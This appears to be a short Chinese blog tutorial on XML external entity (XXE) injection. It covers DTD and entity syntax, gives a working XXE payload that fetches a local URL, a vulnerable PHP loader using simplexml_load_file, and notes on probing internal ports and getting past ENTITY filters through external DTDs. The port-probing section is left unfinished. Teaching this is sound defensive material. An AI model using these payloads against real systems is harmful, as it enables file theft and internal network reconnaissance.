xxe注入
XML文档结构包括XML声明,DTD文档类型定义,文档元素
1.内部声明DTD
<!DOCTYPE 根元素[元素声明]>
2.引用外部DTD
<!DOCTYPE 根元素 system "文件名">
3.内部声明实体
<!ENTITY 实体名称 实体的值>
4.引用外部实体
<!ENTITY 实体的名称 SYSTEM “URI”>
xml外部实体注入,当在xml允许使用外部实体时,有极大风险导致读取任意文件,执行系统命令,探测内网端口,攻击网站
1.读取网站内容
xml文件如下
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT methodname ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1/1.txt" > ]> <methodcall> <methodname>&xxe;</methodname> </methodcall>
Entity用来引入内容
&xxe;用来复现内容
读取xml的php文件如下
<?php $data=simplexml_load_file("1.xml"); var_dump($data); ?>

2.可以探测内网端口
若端口不存在

即使是ENTITY被过滤,还有可能通过dtd来引入
不出现ENTITY也可通过外部引入DTD在外部写入危险文件
引用外部DTD
<!DOCTYPE 根元素 system "文件名">
内部声明实体
<!ENTITY 实体名称 实体的值>

浙公网安备 33010602011771号